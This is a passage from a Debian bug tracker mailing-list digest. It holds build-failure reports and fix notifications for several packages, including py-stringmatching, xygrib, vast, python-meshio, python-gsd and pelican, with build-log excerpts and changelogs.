misconfiguration somewhere. Please contact ow...@bugs.debian.org
immediately.)


-- 
997449: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=997449
Debian Bug Tracking System
Contact ow...@bugs.debian.org with problems
--- Begin Message ---
Source: py-stringmatching
Version: 0.4.2+git20201204.6a7fb57-2
Severity: serious
Justification: FTBFS
Tags: bookworm sid ftbfs
User: lu...@debian.org
Usertags: ftbfs-20211023 ftbfs-bookworm

Hi,

During a rebuild of all packages in sid, your package failed to build
on amd64.


Relevant part (hopefully):
> make[3]: Entering directory '/<>/docs/_build/latex'
> latexmk -pdf -dvi- -ps-  'py_stringmatching.tex'
> Rc files read:
>   /etc/LatexMk
>   latexmkrc
> Latexmk: This is Latexmk, John Collins, 21 September 2021, version: 4.75.
> Rule 'pdflatex': File changes, etc:
>Changed files, or newly in use since previous run(s):
>   'py_stringmatching.tex'
> 
> Run number 1 of rule 'pdflatex'
> 
> 
> Running 'pdflatex   -recorder  "py_stringmatching.tex"'
> 
> Latexmk: applying rule 'pdflatex'...
> This is pdfTeX, Version 3.141592653-2.6-1.40.22 (TeX Live 2022/dev/Debian) 
> (preloaded format=pdflatex)
>  restricted \write18 enabled.
> entering extended mode
> (./py_stringmatching.tex
> LaTeX2e <2021-06-01> patch level 1
> L3 programming layer <2021-08-27> (./sphinxmanual.cls
> Document Class: sphinxmanual 2019/12/01 v2.3.0 Document class (Sphinx manual)
> (/usr/share/texlive/texmf-dist/tex/latex/base/report.cls
> Document Class: report 2021/02/12 v1.4n Standard LaTeX document class
> (/usr/share/texlive/texmf-dist/tex/latex/base/size10.clo)))
> (/usr/share/texlive/texmf-dist/tex/latex/base/inputenc.sty)
> (/usr/share/texlive/texmf-dist/tex/latex/cmap/cmap.sty)
> (/usr/share/texlive/texmf-dist/tex/latex/base/fontenc.sty<>)
> (/usr/share/texlive/texmf-dist/tex/latex/amsmath/amsmath.sty
> For additional information on amsmath, use the `?' option.
> (/usr/share/texlive/texmf-dist/tex/latex/amsmath/amstext.sty
> (/usr/share/texlive/texmf-dist/tex/latex/amsmath/amsgen.sty))
> (/usr/share/texlive/texmf-dist/tex/latex/amsmath/amsbsy.sty)
> (/usr/share/texlive/texmf-dist/tex/latex/amsmath/amsopn.sty))
> (/usr/share/texlive/texmf-dist/tex/latex/amsfonts/amssymb.sty
> (/usr/share/texlive/texmf-dist/tex/latex/amsfonts/amsfonts.sty))
> (/usr/share/texlive/texmf-dist/tex/generic/babel/babel.sty
> (/usr/share/texlive/texmf-dist/tex/generic/babel/babel.def
> (/usr/share/texlive/texmf-dist/tex/generic/babel/txtbabel.def))
> (/usr/share/texlive/texmf-dist/tex/generic/babel-english/english.ldf))
> 
> ! LaTeX Error: File `tgtermes.sty' not found.
> 
> Type X to quit or  to proceed,
> or enter new name. (Default extension: sty)
> 
> Enter file name: 
> ! Emergency stop.
>  
>  
> l.37 \usepackage
> {tgheros}^^M
> !  ==> Fatal error occurred, no output PDF file produced!
> Transcript written on py_stringmatching.log.
> Latexmk: Missing input file 'tgtermes.sty' (or dependence on it) from 
> following:
>   '! LaTeX Error: File `tgtermes.sty' not found.'
> Collected error summary (may duplicate other messages):
>   pdflatex: Command for 'pdflatex' gave return code 1
>   Refer to 'py_stringmatching.log' for details
> Latexmk: Use the -f option to force complete processing,
>  unless error was exceeding maximum runs, or warnings treated as errors.
> Latexmk: Examining 'py_stringmatching.log'
> === TeX engine is 'pdfTeX'
> Latexmk: Errors, so I did not complete making targets
> make[3]: *** [Makefile:29: py_stringmatching.pdf] Error 12


The full build log is available from:
http://qa-logs.debian.net/2021/10/23/py-stringmatching_0.4.2+git20201204.6a7fb57-2_unstable.log

A list of current common problems and possible solutions is available at
http://wiki.debian.org/qa.debian.org/FTBFS . You're welcome to contribute!

If you reassign this bug to another package, please marking it as 'affects'-ing
this package. See https://www.debian.org/Bugs/server-control#affects

If you fail to reproduce this, please provide a build log and diff it with mine
so that we can identify if something relevant changed in the meantime.
--- End Message ---
--- Begin Message ---

fixed 997449 0.4.2+git20201204.6a7fb57-3
thanks

The missing tgtermes.sty is provided 

Processed: Re: Bug#997449 py-stringmatching: FTBFS: '! LaTeX Error: File `tgtermes.sty' not found.'

[Debian Bug Tracking System]

Processing commands for cont...@bugs.debian.org:

> fixed 997449 0.4.2+git20201204.6a7fb57-3
Bug #997449 [src:py-stringmatching] py-stringmatching: FTBFS:   '! LaTeX Error: 
File `tgtermes.sty' not found.'
Marked as fixed in versions py-stringmatching/0.4.2+git20201204.6a7fb57-3.
> thanks
Stopping processing here.

Please contact me if you need assistance.
-- 
997449: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=997449
Debian Bug Tracking System
Contact ow...@bugs.debian.org with problems

Bug#998050: marked as done (xygrib: Sources for xygrib-1.2.6 are actually incluse xygrib-1.2.5)

[Debian Bug Tracking System]

Your message dated Sun, 31 Oct 2021 10:48:51 +
with message-id 
and subject line Bug#998050: fixed in xygrib 1.2.6.1-1
has caused the Debian Bug report #998050,
regarding xygrib: Sources for xygrib-1.2.6 are actually incluse xygrib-1.2.5
to be marked as done.

This means that you claim that the problem has been dealt with.
If this is not the case it is now your responsibility to reopen the
Bug report if necessary, and/or fix the problem forthwith.

(NB: If you are a system administrator and have no idea what this
message is talking about, this may indicate a serious mail system
misconfiguration somewhere. Please contact ow...@bugs.debian.org
immediately.)


-- 
998050: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=998050
Debian Bug Tracking System
Contact ow...@bugs.debian.org with problems
--- Begin Message ---
Package: xygrib
Version: 1.2.6-3
Severity: serious
Justification: version.patch in bad, it changes the version displayed for old 
release

Dear Maintainer,

xygrib 1.2.6-3 was built with a new patch 'version.patch' that is completely 
incorrect
and uses bad practices.
The SRC archive for xygrib_1.2.6-3 includes sources of xygrib-1.2.5 release.
This can be checkd by other strings in CMakeLists.txt.
Below XyGrib-1.2.6.1 is REAL xygrib 1.2.6 release,
xygrib-1.2.6 is REAL xygrib 1.2.5 release.
Just compare release dates as the markers:

XyGrib-1.2.6.1/CMakeLists.txt:set(VERSION_MAJOR 1)
XyGrib-1.2.6.1/CMakeLists.txt:set(VERSION_MINOR 2)
XyGrib-1.2.6.1/CMakeLists.txt:set(VERSION_PATCH 6)
XyGrib-1.2.6.1/CMakeLists.txt:set(XYGRIB_VERSION_DATE "2019-07-05")

xygrib-1.2.6/CMakeLists.txt:set(VERSION_MAJOR 1)
xygrib-1.2.6/CMakeLists.txt:set(VERSION_MINOR 2)
xygrib-1.2.6/CMakeLists.txt:set(VERSION_PATCH 5)
xygrib-1.2.6/CMakeLists.txt:set(XYGRIB_VERSION_DATE "2019-02-16")

Since xygrib-1.2.5 was released on 2019-02-16, nurh earlier
than xygrib 1.2.6 release date 2019-07-05,
the xygrib_1.2.6.orig archive is really xygrib 1.2.5 release.


Please drop d/p/version.patch and get real xygrib 1.2.6 release for build.

--
Cheers,
Damir

-- System Information:
Debian Release: bookworm/sid
  APT prefers unstable
  APT policy: (500, 'unstable'), (1, 'experimental')
Architecture: amd64 (x86_64)
Foreign Architectures: i386

Kernel: Linux 5.14.0-3-amd64 (SMP w/8 CPU threads)
Kernel taint flags: TAINT_PROPRIETARY_MODULE, TAINT_OOT_MODULE, 
TAINT_UNSIGNED_MODULE
Locale: LANG=ru_RU.UTF-8, LC_CTYPE=ru_RU.UTF-8 (charmap=UTF-8), LANGUAGE not set
Shell: /bin/sh linked to /usr/bin/dash
Init: systemd (via /run/systemd/system)
LSM: AppArmor: enabled

Versions of packages xygrib depends on:
ii  fonts-liberation 1:1.07.4-11
ii  libbz2-1.0   1.0.8-4
ii  libc62.32-4
ii  libgcc-s111.2.0-10
ii  libopenjp2-7 2.4.0-3
ii  libpng16-16  1.6.37-3
ii  libproj228.1.1-1
ii  libqt5core5a 5.15.2+dfsg-12
ii  libqt5gui5   5.15.2+dfsg-12
ii  libqt5network5   5.15.2+dfsg-12
ii  libqt5printsupport5  5.15.2+dfsg-12
ii  libqt5widgets5   5.15.2+dfsg-12
ii  libstdc++6   11.2.0-10
ii  xygrib-maps  1.2.6-3
ii  zlib1g   1:1.2.11.dfsg-2

xygrib recommends no packages.

xygrib suggests no packages.

-- no debconf information
--- End Message ---
--- Begin Message ---
Source: xygrib
Source-Version: 1.2.6.1-1
Done: Alastair McKinstry 

We believe that the bug you reported is fixed in the latest version of
xygrib, which is due to be installed in the Debian FTP archive.

A summary of the changes between this version and the previous one is
attached.

Thank you for reporting the bug, which will now be closed.  If you
have further comments please address them to 998...@bugs.debian.org,
and the maintainer will reopen the bug report if appropriate.

Debian distribution maintenance software
pp.
Alastair McKinstry  (supplier of updated xygrib package)

(This message was generated automatically at their request; if you
believe that there is a problem with it please contact the archive
administrators by mailing ftpmas...@ftp-master.debian.org)


-BEGIN PGP SIGNED MESSAGE-
Hash: SHA256

Format: 1.8
Date: Sun, 31 Oct 2021 10:07:46 +
Source: xygrib
Architecture: source
Version: 1.2.6.1-1
Distribution: unstable
Urgency: medium
Maintainer: Alastair McKinstry 
Changed-By: Alastair McKinstry 
Closes: 998050
Changes:
 xygrib (1.2.6.1-1) unstable; urgency=medium
 .
   * New upstream release. Closes: #998050
   * Drop version.patch
Checksums-Sha1:
 230e77481fc5a52c26d65e6768edf3395760e5cc 2070 xygrib_1.2.6.1-1.dsc
 80cc3b826cea192ccb85d4442056c431d35710ab 9557660 xygrib_1.2.6.1.orig.tar.xz
 b871b0472bbd737c01ad7e0326bdaac4bf5b82b6 10820 xygrib_1.2.6.1-1.debian.tar.xz
Checksums-Sha256:
 73ed7c679d6dfc7eeb5acec17a082669a9dc4245fd3d15717dae90985e37bb7a 2070 
xygrib_1.2.6.1-1.dsc
 8e6797aa3f5f753f7246b3773c0a148de87dd5b9985f69815c9deea22f654875 9557660 
xygrib_1.2.6.1.orig.tar.xz
 a839bbe091c4dc4d0c19bd5289b03ff0369609a7b97d3e099079ca827f0ed41e 10820 

Bug#997557: Bug #997557: golang-github-urfave-cli-v2: FTBFS: dh_auto_test: error: cd obj-x86_64-linux-gnu && go test -vet=off

[Drew Parsons]

This doesn't seem to be a bug in the package. It just declares "vet" as 
a cli.Command in build.go.


The error must be elsewhere in the go infrastructure, possibly in the dh 
go addon (dh-golang) which generates "go test" for dh_auto_test.

Bug#997276: marked as done (vast: FTBFS: disk_monitor.hpp:32:8: error: ‘optional’ in namespace ‘std’ does not name a template type)

[Debian Bug Tracking System]

Your message dated Sun, 31 Oct 2021 10:34:29 +
with message-id 
and subject line Bug#997276: fixed in vast 2021.05.27-8
has caused the Debian Bug report #997276,
regarding vast: FTBFS: disk_monitor.hpp:32:8: error: ‘optional’ in namespace 
‘std’ does not name a template type
to be marked as done.

This means that you claim that the problem has been dealt with.
If this is not the case it is now your responsibility to reopen the
Bug report if necessary, and/or fix the problem forthwith.

(NB: If you are a system administrator and have no idea what this
message is talking about, this may indicate a serious mail system
misconfiguration somewhere. Please contact ow...@bugs.debian.org
immediately.)


-- 
997276: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=997276
Debian Bug Tracking System
Contact ow...@bugs.debian.org with problems
--- Begin Message ---
Source: vast
Version: 2021.05.27-7
Severity: serious
Justification: FTBFS
Tags: bookworm sid ftbfs

Hi,

During a rebuild of all packages in sid, your package failed to build
on amd64.


Relevant part (hopefully):
> cd /<>/obj-x86_64-linux-gnu/libvast && /usr/bin/c++ 
> -DCAF_ENABLE_TYPE_ID_CHECKS -DFMT_LOCALE -DFMT_SAFE_DURATION_CAST 
> -DFMT_SHARED -DFMT_USE_INTERNAL -DSIMDJSON_THREADS_ENABLED=1 
> -DSIMDJSON_USING_LIBRARY=1 -DSPDLOG_COMPILED_LIB -DSPDLOG_FMT_EXTERNAL 
> -DSPDLOG_SHARED_LIB -DVAST_ENABLE_NATIVE_PLUGINS -Dlibvast_EXPORTS 
> -I/<>/obj-x86_64-linux-gnu/libvast -I/<>/libvast -g 
> -O2 -ffile-prefix-map=/<>=. -fstack-protector-strong -Wformat 
> -Werror=format-security -fsigned-char -Wdate-time -D_FORTIFY_SOURCE=2 -O2 -g 
> -DNDEBUG -fPIC -ftemplate-backtrace-limit=0 -fno-omit-frame-pointer 
> -Wno-unknown-warning -Wall -Wextra -pedantic -Werror=switch -Wundef 
> -Wno-redundant-move -fdebug-prefix-map=/<>=. -pthread -std=c++17 
> -MD -MT libvast/CMakeFiles/libvast.dir/src/system/eraser.cpp.o -MF 
> CMakeFiles/libvast.dir/src/system/eraser.cpp.o.d -o 
> CMakeFiles/libvast.dir/src/system/eraser.cpp.o -c 
> /<>/libvast/src/system/eraser.cpp
> In file included from /<>/libvast/src/system/disk_monitor.cpp:9:
> /<>/libvast/vast/system/disk_monitor.hpp:32:8: error: ‘optional’ 
> in namespace ‘std’ does not name a template type
>32 |   std::optional scan_binary = std::nullopt;
>   |^~~~
> /<>/libvast/vast/system/disk_monitor.hpp:16:1: note: 
> ‘std::optional’ is defined in header ‘’; did you forget to 
> ‘#include ’?
>15 | #include 
>   +++ |+#include 
>16 | 
> [ 37%] Building CXX object 
> libvast/CMakeFiles/libvast.dir/src/system/evaluator.cpp.o
> cd /<>/obj-x86_64-linux-gnu/libvast && /usr/bin/c++ 
> -DCAF_ENABLE_TYPE_ID_CHECKS -DFMT_LOCALE -DFMT_SAFE_DURATION_CAST 
> -DFMT_SHARED -DFMT_USE_INTERNAL -DSIMDJSON_THREADS_ENABLED=1 
> -DSIMDJSON_USING_LIBRARY=1 -DSPDLOG_COMPILED_LIB -DSPDLOG_FMT_EXTERNAL 
> -DSPDLOG_SHARED_LIB -DVAST_ENABLE_NATIVE_PLUGINS -Dlibvast_EXPORTS 
> -I/<>/obj-x86_64-linux-gnu/libvast -I/<>/libvast -g 
> -O2 -ffile-prefix-map=/<>=. -fstack-protector-strong -Wformat 
> -Werror=format-security -fsigned-char -Wdate-time -D_FORTIFY_SOURCE=2 -O2 -g 
> -DNDEBUG -fPIC -ftemplate-backtrace-limit=0 -fno-omit-frame-pointer 
> -Wno-unknown-warning -Wall -Wextra -pedantic -Werror=switch -Wundef 
> -Wno-redundant-move -fdebug-prefix-map=/<>=. -pthread -std=c++17 
> -MD -MT libvast/CMakeFiles/libvast.dir/src/system/evaluator.cpp.o -MF 
> CMakeFiles/libvast.dir/src/system/evaluator.cpp.o.d -o 
> CMakeFiles/libvast.dir/src/system/evaluator.cpp.o -c 
> /<>/libvast/src/system/evaluator.cpp
> /<>/libvast/src/system/disk_monitor.cpp: In function ‘caf::error 
> vast::system::validate(const vast::system::disk_monitor_config&)’:
> /<>/libvast/src/system/disk_monitor.cpp:53:14: error: ‘const 
> struct vast::system::disk_monitor_config’ has no member named ‘scan_binary’
>53 |   if (config.scan_binary) {
>   |  ^~~
> /<>/libvast/src/system/disk_monitor.cpp:54:16: error: ‘const 
> struct vast::system::disk_monitor_config’ has no member named ‘scan_binary’
>54 | if (config.scan_binary->empty()) {
>   |^~~
> /<>/libvast/src/system/disk_monitor.cpp:59:16: error: ‘const 
> struct vast::system::disk_monitor_config’ has no member named ‘scan_binary’
>59 | if (config.scan_binary->at(0) != '/') {
>   |^~~
> /<>/libvast/src/system/disk_monitor.cpp:64:42: error: ‘const 
> struct vast::system::disk_monitor_config’ has no member named ‘scan_binary’
>64 | if (!std::filesystem::exists(*config.scan_binary)) {
>   |  ^~~
> /<>/libvast/src/system/disk_monitor.cpp: In member function 
> ‘caf::expected 
> vast::system::disk_monitor_state::compute_dbdir_size() const’:
> /<>/libvast/src/system/disk_monitor.cpp:74:15: error: ‘const 
> struct vast::system::disk_monitor_config’ has no member named ‘scan_binary’
>74 |   if (!config.scan_binary) {
>   |   ^~~
> 

Bug#997563: Bug #997563: golang-github-urfave-cli: FTBFS: dh_auto_test: error: cd obj-x86_64-linux-gnu && go test -vet=off

[Drew Parsons]

This doesn't seem to be a bug in the package. It just declares "vet" as 
a cli.Command in build.go.


The error must be elsewhere in the go infrastructure, possibly in the dh 
go addon (dh-golang) which generates "go test" for dh_auto_test.

Bug#997532: marked as done (python-meshio: FTBFS: mv: cannot stat 'paraview_*': No such file or directory)

[Debian Bug Tracking System]

Your message dated Sun, 31 Oct 2021 11:20:44 +0100
with message-id <7519a9e2d27269bdd139fc10b502d...@debian.org>
and subject line Re: Bug#997532 python-meshio: FTBFS: mv: cannot stat 
'paraview_*'
has caused the Debian Bug report #997532,
regarding python-meshio: FTBFS: mv: cannot stat 'paraview_*': No such file or 
directory
to be marked as done.

This means that you claim that the problem has been dealt with.
If this is not the case it is now your responsibility to reopen the
Bug report if necessary, and/or fix the problem forthwith.

(NB: If you are a system administrator and have no idea what this
message is talking about, this may indicate a serious mail system
misconfiguration somewhere. Please contact ow...@bugs.debian.org
immediately.)


-- 
997532: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=997532
Debian Bug Tracking System
Contact ow...@bugs.debian.org with problems
--- Begin Message ---
Source: python-meshio
Version: 4.4.6-1
Severity: serious
Justification: FTBFS
Tags: bookworm sid ftbfs
User: lu...@debian.org
Usertags: ftbfs-20211023 ftbfs-bookworm

Hi,

During a rebuild of all packages in sid, your package failed to build
on amd64.


Relevant part (hopefully):
> make[1]: Entering directory '/<>'
> dh_auto_install
> I: pybuild base:232: /usr/bin/python3 setup.py install --root 
> /<>/debian/python3-meshio 
> running install
> running build
> running build_py
> running install_lib
> creating /<>/debian/python3-meshio
> creating /<>/debian/python3-meshio/usr
> creating /<>/debian/python3-meshio/usr/lib
> creating /<>/debian/python3-meshio/usr/lib/python3.9
> creating 
> /<>/debian/python3-meshio/usr/lib/python3.9/dist-packages
> creating 
> /<>/debian/python3-meshio/usr/lib/python3.9/dist-packages/meshio
> copying 
> /<>/.pybuild/cpython3_3.9_meshio/build/meshio/_helpers.py -> 
> /<>/debian/python3-meshio/usr/lib/python3.9/dist-packages/meshio
> creating 
> /<>/debian/python3-meshio/usr/lib/python3.9/dist-packages/meshio/cgns
> copying 
> /<>/.pybuild/cpython3_3.9_meshio/build/meshio/cgns/__init__.py 
> -> 
> /<>/debian/python3-meshio/usr/lib/python3.9/dist-packages/meshio/cgns
> creating 
> /<>/debian/python3-meshio/usr/lib/python3.9/dist-packages/meshio/cgns/__pycache__
> copying 
> /<>/.pybuild/cpython3_3.9_meshio/build/meshio/cgns/__pycache__/__init__.cpython-39.pyc
>  -> 
> /<>/debian/python3-meshio/usr/lib/python3.9/dist-packages/meshio/cgns/__pycache__
> copying 
> /<>/.pybuild/cpython3_3.9_meshio/build/meshio/cgns/__pycache__/_cgns.cpython-39.pyc
>  -> 
> /<>/debian/python3-meshio/usr/lib/python3.9/dist-packages/meshio/cgns/__pycache__
> copying 
> /<>/.pybuild/cpython3_3.9_meshio/build/meshio/cgns/_cgns.py -> 
> /<>/debian/python3-meshio/usr/lib/python3.9/dist-packages/meshio/cgns
> creating 
> /<>/debian/python3-meshio/usr/lib/python3.9/dist-packages/meshio/avsucd
> copying 
> /<>/.pybuild/cpython3_3.9_meshio/build/meshio/avsucd/__init__.py 
> -> 
> /<>/debian/python3-meshio/usr/lib/python3.9/dist-packages/meshio/avsucd
> copying 
> /<>/.pybuild/cpython3_3.9_meshio/build/meshio/avsucd/_avsucd.py 
> -> 
> /<>/debian/python3-meshio/usr/lib/python3.9/dist-packages/meshio/avsucd
> creating 
> /<>/debian/python3-meshio/usr/lib/python3.9/dist-packages/meshio/avsucd/__pycache__
> copying 
> /<>/.pybuild/cpython3_3.9_meshio/build/meshio/avsucd/__pycache__/__init__.cpython-39.pyc
>  -> 
> /<>/debian/python3-meshio/usr/lib/python3.9/dist-packages/meshio/avsucd/__pycache__
> copying 
> /<>/.pybuild/cpython3_3.9_meshio/build/meshio/avsucd/__pycache__/_avsucd.cpython-39.pyc
>  -> 
> /<>/debian/python3-meshio/usr/lib/python3.9/dist-packages/meshio/avsucd/__pycache__
> creating 
> /<>/debian/python3-meshio/usr/lib/python3.9/dist-packages/meshio/flac3d
> copying 
> /<>/.pybuild/cpython3_3.9_meshio/build/meshio/flac3d/__init__.py 
> -> 
> /<>/debian/python3-meshio/usr/lib/python3.9/dist-packages/meshio/flac3d
> creating 
> /<>/debian/python3-meshio/usr/lib/python3.9/dist-packages/meshio/flac3d/__pycache__
> copying 
> /<>/.pybuild/cpython3_3.9_meshio/build/meshio/flac3d/__pycache__/_flac3d.cpython-39.pyc
>  -> 
> /<>/debian/python3-meshio/usr/lib/python3.9/dist-packages/meshio/flac3d/__pycache__
> copying 
> /<>/.pybuild/cpython3_3.9_meshio/build/meshio/flac3d/__pycache__/__init__.cpython-39.pyc
>  -> 
> /<>/debian/python3-meshio/usr/lib/python3.9/dist-packages/meshio/flac3d/__pycache__
> copying 
> /<>/.pybuild/cpython3_3.9_meshio/build/meshio/flac3d/_flac3d.py 
> -> 
> /<>/debian/python3-meshio/usr/lib/python3.9/dist-packages/meshio/flac3d
> creating 
> /<>/debian/python3-meshio/usr/lib/python3.9/dist-packages/meshio/exodus
> copying 
> /<>/.pybuild/cpython3_3.9_meshio/build/meshio/exodus/__init__.py 
> -> 
> /<>/debian/python3-meshio/usr/lib/python3.9/dist-packages/meshio/exodus
> copying 
> /<>/.pybuild/cpython3_3.9_meshio/build/meshio/exodus/_exodus.py 
> -> 
> /<>/debian/python3-meshio/usr/lib/python3.9/dist-packages/meshio/exodus
> creating 
> 

Processed: Re: Bug#997532 python-meshio: FTBFS: mv: cannot stat 'paraview_*'

[Debian Bug Tracking System]

Processing commands for cont...@bugs.debian.org:

> fixed 997532 5.0.2-1
Bug #997532 [src:python-meshio] python-meshio: FTBFS: mv: cannot stat 
'paraview_*': No such file or directory
The source 'python-meshio' and version '5.0.2-1' do not appear to match any 
binary packages
Marked as fixed in versions python-meshio/5.0.2-1.
> thanks
Stopping processing here.

Please contact me if you need assistance.
-- 
997532: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=997532
Debian Bug Tracking System
Contact ow...@bugs.debian.org with problems

Processed: Fix versions more to make it foolproof

[Debian Bug Tracking System]

Processing commands for cont...@bugs.debian.org:

> # Why is BTS so damn complicated? :/ I wish we had a simpler system to simply 
> mark bugs as done
> # A simple web-service maybe?
> reopen 996407
Bug #996407 {Done: Nilesh Patra } [src:diamond-aligner, 
src:proteinortho] diamond-aligner breaks proteinortho autopkgtest: diamond 
failed with code 256
'reopen' may be inappropriate when a bug has been closed with a version;
all fixed versions will be cleared, and you may need to re-add them.
Bug reopened
No longer marked as fixed in versions diamond-aligner/2.0.12-1 and 
proteinortho/6.0.31+dfsg-2.
> fixed 996407 proteinortho/6.0.31+dfsg-2
Bug #996407 [src:diamond-aligner, src:proteinortho] diamond-aligner breaks 
proteinortho autopkgtest: diamond failed with code 256
Marked as fixed in versions proteinortho/6.0.31+dfsg-2.
> fixed 996407 diamond-aligner/2.0.13-1
Bug #996407 [src:diamond-aligner, src:proteinortho] diamond-aligner breaks 
proteinortho autopkgtest: diamond failed with code 256
The source diamond-aligner and version 2.0.13-1 do not appear to match any 
binary packages
Marked as fixed in versions diamond-aligner/2.0.13-1.
> close 996407
Bug #996407 [src:diamond-aligner, src:proteinortho] diamond-aligner breaks 
proteinortho autopkgtest: diamond failed with code 256
Marked Bug as done
> thanks
Stopping processing here.

Please contact me if you need assistance.
-- 
996407: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=996407
Debian Bug Tracking System
Contact ow...@bugs.debian.org with problems

Bug#997028: marked as done (python-gsd: FTBFS with sphinx 4.2.0)

[Debian Bug Tracking System]

Your message dated Sun, 31 Oct 2021 10:03:30 +
with message-id 
and subject line Bug#997028: fixed in python-gsd 2.5.0-1
has caused the Debian Bug report #997028,
regarding python-gsd: FTBFS with sphinx 4.2.0
to be marked as done.

This means that you claim that the problem has been dealt with.
If this is not the case it is now your responsibility to reopen the
Bug report if necessary, and/or fix the problem forthwith.

(NB: If you are a system administrator and have no idea what this
message is talking about, this may indicate a serious mail system
misconfiguration somewhere. Please contact ow...@bugs.debian.org
immediately.)


-- 
997028: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=997028
Debian Bug Tracking System
Contact ow...@bugs.debian.org with problems
--- Begin Message ---
Source: python-gsd
Version: 2.4.2-1
Severity: serious
Tags: ftbfs

Hi Maintainer

As can be seen in reproducible builds, python-gsd FTBFS since sphinx
4.2.0 was uploaded.  I've copied what I hope is the relevant part of
the log below.

Regards
Graham


[1] https://tests.reproducible-builds.org/debian/rb-pkg/python-gsd.html


   dh_installdocs -O--buildsystem=pybuild
dh_installdocs: warning: Cannot auto-detect main package for
python-gsd-doc.  If the default is wrong, please use
--doc-main-package
   debian/rules override_dh_sphinxdoc-indep
make[1]: Entering directory '/build/1st/python-gsd-2.4.2'
dh_sphinxdoc -i
grep "https://cdnjs.cloudflare.com/ajax/libs/mathjax/.*/latest.js;
debian/python-gsd-doc/usr/share/doc/python-gsd-doc/* -r
--files-with-matches | xargs sed
"s|src=\"https://cdnjs.cloudflare.com/ajax/libs/mathjax/.*/latest.js|src=\"file:///usr/share/javascript/mathjax/unpacked/latest.js|g"
-i
sed: no input files
make[1]: *** [debian/rules:23: override_dh_sphinxdoc-indep] Error 123
--- End Message ---
--- Begin Message ---
Source: python-gsd
Source-Version: 2.5.0-1
Done: Drew Parsons 

We believe that the bug you reported is fixed in the latest version of
python-gsd, which is due to be installed in the Debian FTP archive.

A summary of the changes between this version and the previous one is
attached.

Thank you for reporting the bug, which will now be closed.  If you
have further comments please address them to 997...@bugs.debian.org,
and the maintainer will reopen the bug report if appropriate.

Debian distribution maintenance software
pp.
Drew Parsons  (supplier of updated python-gsd package)

(This message was generated automatically at their request; if you
believe that there is a problem with it please contact the archive
administrators by mailing ftpmas...@ftp-master.debian.org)


-BEGIN PGP SIGNED MESSAGE-
Hash: SHA256

Format: 1.8
Date: Sun, 31 Oct 2021 10:38:27 +0100
Source: python-gsd
Architecture: source
Version: 2.5.0-1
Distribution: unstable
Urgency: medium
Maintainer: Debichem Team 
Changed-By: Drew Parsons 
Closes: 997028
Changes:
 python-gsd (2.5.0-1) unstable; urgency=medium
 .
   * New upstream release.
   * fix doc build by using sphinx-build directly (see INSTALLING.rst)
 Closes: #997028.
   * allow for mathjax changes in doc build (latest.js no longer used)
Checksums-Sha1:
 0a2d53334a790ee436bb9e050c70738951d441ce 2276 python-gsd_2.5.0-1.dsc
 0cb45449d5c385c86cde11c25472d41de1778ef0 105537 python-gsd_2.5.0.orig.tar.gz
 d38f715cc3ecd09bdfe27228af2c86cc6acab131 4412 python-gsd_2.5.0-1.debian.tar.xz
Checksums-Sha256:
 3fdc95662f7a771e87e47d579aef18cef1dbd4a0dff9ca12dee914ea75c335e3 2276 
python-gsd_2.5.0-1.dsc
 6fb20f1936f0860a91e0837a4bc68a1d167afb4289326d9f7df3ac95ed33f216 105537 
python-gsd_2.5.0.orig.tar.gz
 964dcd0102705f7987dc0f5f423b7a271551fe6c65ca47d701a6474238e19515 4412 
python-gsd_2.5.0-1.debian.tar.xz
Files:
 2eb86db62e84b7a9ee5482c3a508672e 2276 python optional python-gsd_2.5.0-1.dsc
 dda3de0dda355f1bd45cd994d3e0ebe4 105537 python optional 
python-gsd_2.5.0.orig.tar.gz
 52eba5c0149ea154407ccf2a11a6a2be 4412 python optional 
python-gsd_2.5.0-1.debian.tar.xz

-BEGIN PGP SIGNATURE-

iQIzBAEBCAAdFiEEI8mpPlhYGekSbQo2Vz7x5L1aAfoFAmF+ZOsACgkQVz7x5L1a
AfrEgBAAkg/9oxz5fm6qe5WqyuhJbu1UbcsNMSgUHCuAfB1FAE5k5wfqZCskRdBi
bJCRKKeJPil9zczcz7Zs70w46stZ+vjck76InKcB6ccZJTuL/MLWCkKPHxGH3cIz
+aDPFp+1R4vMzRkNVepAbkr5AflPz9HNuhFsshcvF0VoE/hMhE/aF0JmCUWZYMJT
pBFLzM03bpAqiLc0KI+/qOrm9NsEoSfuP4RpzXHorJEaXFx0i5TVUx42Nkv+EDtJ
+3229Zqleac04aUkMajP14GvdOn3fRETVlI5HM8SnM6oaV4B10Ojnuxg5Lo54pGq
ZaUcU8el4xbvpLNtIQxHqw/CwQEbNuoa1JHVJfRE8J6ngZuV7NXsNMspW9jMGYPA
Q6f9DzsFeB+H3QqLCDIf7dDlc7Pk73RUEPfwteQtvU+4W5ZGdX9vCkgzZVVoF4dG
dBwsQ9Yn2COL4fAnR5ai1fSdp6rSMxvTdMzNGUOg05CuSsXgBeEnI60li3QlkXK8
NiYhjJsQJTib03TBBt9VAH9q8BjuaCClFcFcwgfqfM456z2DzqhUq+anjLHt/cCV
2lFUFRtz/mQIy2oc4tfbtAE+YM1Vkd59Sr06nmNpF5RJfTkDoD62nccPGFWm+yEn
j2/GQqB0mQyD1C0gg+/IZTsZHAU2rN5UNgCN0nouCesAUSxuBJE=
=q5nY
-END PGP SIGNATURE End Message ---

Bug#997376: pelican: FTBFS: AttributeError: 'Sphinx' object has no attribute 'add_stylesheet'

[Diederik de Haas]

Control: tag -1 upstream fixed-upstream

On Sat, 23 Oct 2021 21:50:07 +0200 Lucas Nussbaum  wrote:
> Source: pelican
> Version: 4.0.1+dfsg-1.1
> Severity: serious
> 
> During a rebuild of all packages in sid, your package failed to build
> on amd64.
> 
> Relevant part (hopefully):
> Exception occurred:
>   File "/<>/docs/conf.py", line 67, in setup
> app.add_stylesheet('theme_overrides.css')   # path relative to _static
> AttributeError: 'Sphinx' object has no attribute 'add_stylesheet'

https://github.com/getpelican/pelican/commit/839629b102e020fc9a3aa3a66cc9ae0e23f210f5
is where upstream fixed the issue and is part of (upstream) pelican since 
version 4.5.0

On salsa I saw recent activity wrt uploading version 4.7.1 so one could say a 
fix is pending.

signature.asc
Description: This is a digitally signed message part.

